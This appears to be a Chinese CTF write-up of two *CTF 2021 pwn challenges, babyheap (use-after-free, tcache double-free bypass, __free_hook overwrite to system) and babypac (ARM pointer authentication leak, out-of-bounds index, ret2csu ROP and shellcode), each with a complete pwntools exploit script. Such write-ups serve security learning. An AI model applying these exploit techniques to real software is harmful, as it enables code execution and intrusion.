• *CTF pwn


    打了这次*ctf,wtcl,arm pwn不会,kernel也不会,pwn只出了一道比较简单的堆题。

    先记录下来吧,其他的题目如果有复现就发上来

    babyheap

    glibc版本虽然是2.27,但是题目使用的libc是修复过的libc,tcache_entry结构体中存在key指针去检测double free,注意绕过即可

    delete处存在UAF,edit可以覆写被释放的堆块,

    但是edit处与一般的堆题有所不同,不能直接改写fd了,可以利用UAF构造块堆叠,去覆写下一个堆块的内容

    read(0, (pools[v1] + 8LL), (sizes[v1] - 8))
    

    leavename中有开大堆的操作,可以通过malloc consolidate合并出一个small bin,再去构造unsorted bin

    exp:

    from pwn import*
    #p = process('./pwn')
    p = remote('52.152.231.198',8081)
    context.log_level = 'debug'
    elf = ELF('./pwn')
    #libc = elf.libc
    libc = ELF('./libc.so.6')
    def menu(idx):
        p.sendlineafter('>>',str(idx))
    def add(idx,size):
        menu(1)
        p.sendlineafter('input index',str(idx))
        p.sendlineafter('input size',str(size))
    def delete(idx):
        menu(2)
        p.sendlineafter('input index',str(idx))
    def edit(idx,content):
        menu(3)
        p.sendlineafter('input index',str(idx))
        p.sendafter('input content',content)
    def show(idx):
        menu(4)
        p.sendlineafter('input index',str(idx))
    def leavename(name):
        menu(5)
        p.sendafter('your name:',name)
    def showname():
        menu(6)
     
    add(0,0x58)
    for i in range(1,9):
        add(i,0x58)
    add(10,0x58)
    for i in range(7):
        delete(0)
        edit(0,p64(0))
    
    show(0)
    p.recvline()
    heap_addr = u64(p.recv(6).ljust(8,'x00'))-0x260
    log.info('heap:'+hex(heap_addr))
    for i in range(1,9):
        delete(i)
    leavename('a'*8)
    show(3)
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.sym['__malloc_hook']
    log.info('libc:'+hex(libc_base))
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base +libc.sym['system']
    #gdb.attach(p)
    add(9,0x48)
    add(10,0x48)
    add(11,0x48)
    #gdb.attach(p)
    edit(1,p64(0)*8+p64(0x51)+p64(0))
    delete(11)
    delete(10)
    #gdb.attach(p)
    edit(1,p64(0)*8+p64(0x51)+p64(free_hook-8))
    add(12,0x48)
    add(13,0x48)
    edit(13,p64(system))
    edit(1,p64(0)*8+p64(0x51)+'/bin/shx00')
    #gdb.attach(p)
    delete(12)
    p.interactive()
    

    babypac

    当时没做出来,现在对其进行复现

    涉及到ARMv8.3的一个机制

    PAC(Pointer Authentication Code)

    详情可以参照p0的报告

    大概就是在函数返回的时候,会在函数的高位插入一个字节。用于验证返回地址是否被劫持(类似于canary)

    关键汇编

    .text:0000000000400B70                 LDURSW          X8, [X29,#idx]
    .text:0000000000400B74                 LSL             X8, X8, #4
    .text:0000000000400B78                 ADRL            X9, pool
    .text:0000000000400B80                 LDR             X8, [X9,X8]
    .text:0000000000400B84                 STR             X8, [SP,#0x20+var_10]
    .text:0000000000400B88                 LDR             X8, [SP,#0x20+var_10]
    .text:0000000000400B8C                 PACIA           X8, SP
    .text:0000000000400B90                 STR             X8, [SP,#0x20+var_10]
    .text:0000000000400B94                 LDR             X0, [SP,#0x20+var_10]
    .text:0000000000400B98                 STR             X9, [SP,#0x20+var_20]
    .text:0000000000400B9C                 BL              enc
    

    可以用gdb动态调试进去看,最后进入enc的数据是被PAC加密过

    所以要泄漏地址,去把高位加密的字节给泄漏出来

    程序逻辑分析

    存在一个结构体

    typedef struct {
      size_t num ;
      size_t locked;
    }pool;
    

    全局变量 结构体数组pool[5]

    add :

    pool[idx].num = num
    pool[idx].locked = 0
    

    locked :

    pool[idx].num = enc(pool[idx].num)
    pool[idx].locked = -1
    

    show:

    result = printf("name: %s
    ", name);
      for ( i = 0; i < 5; ++i )
      {
        if ( pool[i].num )
        {
          if ( pool[i].locked == 1 )
            result = printf("%d: **censored**
    ", i);
          else
            result = printf("%d: %ld
    ", i, pool[i].num);
        }
      }
    

    auth:

    __int64 result; // x0
      __int64 v1; // [xsp+0h] [xbp-20h]
    
      printf("idx: ");
      result = read_num();
      if ( result < 5 && *&name[16 * result + 32] && *&name[16 * result + 40] == 1LL )
      {
        v1 = *&name[16 * result + 32];
        result = enc(0x10A9FC70042LL);
        if ( v1 == result )
          result = win();
      }
      return result;
    

    存在下标越界,可以输入负数idx,name刚好在数组的上面,可以配合name进行操作

    bypass auth函数之后,可以进入win函数,就一个白给的栈溢出,ret2csu直接拿下

    但是因为本题存在PAC,所以我们需要先泄漏地址,使用下标越界去修改name,顺便把locked给绕过

    name = p64(csu1)+p64(0)
    name += p64(1145141919810)+p64(0)
    
    p.sendafter("name: ", name)
    lock(-2) 
    lock(-1) #bypass enc
    show()   #leak address
    

    泄漏出来的地址是加密过的,所以需要还原加密地址,请逆向师傅帮我写了解密函数。

    最后进入到栈溢出环节

    rop = b'a'*0x28         #padding
    rop += p64(addr)        #ret address
    rop += p64(0)           #x29
    rop += p64(csu2)        #x30
    rop += p64(0)           #x19
    rop += p64(1)           #x20
    rop += p64(0x411fd8)    #x21
    rop += p64(0)           #x22
    rop += p64(0x412050)    #x23
    rop += p64(0x100)       #x24
    rop += p64(0x412050)    #x29
    rop += p64(0x412050)    #x30
    

    完整exp:

    from pwn import*
    context.arch = "aarch64"
    #context.log_level = 'debug'
    binary = './chall'
    debug = 0 
    if debug:
       p = process(['qemu-aarch64',"-cpu","max",'-L','.','-g','1234',binary])
    else:
       p = process(['qemu-aarch64',"-cpu","max",'-L','.',binary])
       
    def menu(idx):
        p.sendlineafter(">>",str(idx))
    def add(num,idx):
        menu(1)
        p.sendlineafter("identity: ",str(idx))
        sleep(0.1)
        p.sendline(str(num))
    def lock(idx):
        menu(2)
        p.sendlineafter("idx: ",str(idx)) 
    def show():
        menu(3)
    def auth(idx):
        menu(4)
        p.sendlineafter("idx: ",str(idx)) 
    def dec_r(res, shift, bits=64):
        tmp = res
        for i in range(bits // shift):
            tmp = res ^ tmp >> shift
        return tmp&(2**64-1)
    
    def dec_l(res, shift, bits=64):
        tmp = res
        for i in range(bits // shift):
            tmp = res ^ tmp <<shift
        return tmp&(2**64-1)   
    csu1 = 0x400ff8
    csu2 = 0x400fd8 
    
    name = p64(csu1) + p64(0)
    name += p64(1145141919810) + p64(0)
    
    p.sendafter("name: ", name)
    lock(-2)
    lock(-1)
    show()
    p.recvuntil("name: ")
    leak = u64(p.recv(8))
    info('leak : '+str(leak))
    addr = dec_r(leak,13)
    addr = dec_l(addr,31)
    addr = dec_r(addr,11)
    addr = dec_l(addr,7)
    log.info("correct addr:" +hex(addr))
    rop = b'a'*0x28         #padding
    rop += p64(addr)        #ret address
    rop += p64(0)           #x29
    rop += p64(csu2)        #x30
    rop += p64(0)           #x19
    rop += p64(1)           #x20
    rop += p64(0x411fd8)    #x21
    rop += p64(0)           #x22
    rop += p64(0x412050)    #x23
    rop += p64(0x100)       #x24
    rop += p64(0x412050)    #x29
    rop += p64(0x412050)    #x30
    
    auth(-1)
    
    p.send(rop)
    sleep(0.1)
    p.send(asm(shellcraft.sh()))
    p.interactive()
    

    后来看到有些师傅是爆破首位地址打出来的
    爆破pac加密的指针的首位字节。
    exp 1/256 的概率打通
    reference:
    https://github.com/sixstars/starctf2021/tree/main/pwn-babypac

  • 相关阅读:
    pillow模块的用法 + 随机验证码
    jquery文件阅读器 显示需要上传图片的预览功能
    pycharm永久激活方式
    pycharm汉化
    10.25网络编程到并发编程
    10.15 迭代器,生成器到常用模块的小结
    10.14 面向对象小结
    十一天学习内容总结大纲
    pip镜像源的替换
    前端jQuery导入方式
  • 原文地址:https://www.cnblogs.com/z2yh/p/14292758.html
Copyright © 2020-2023  润新知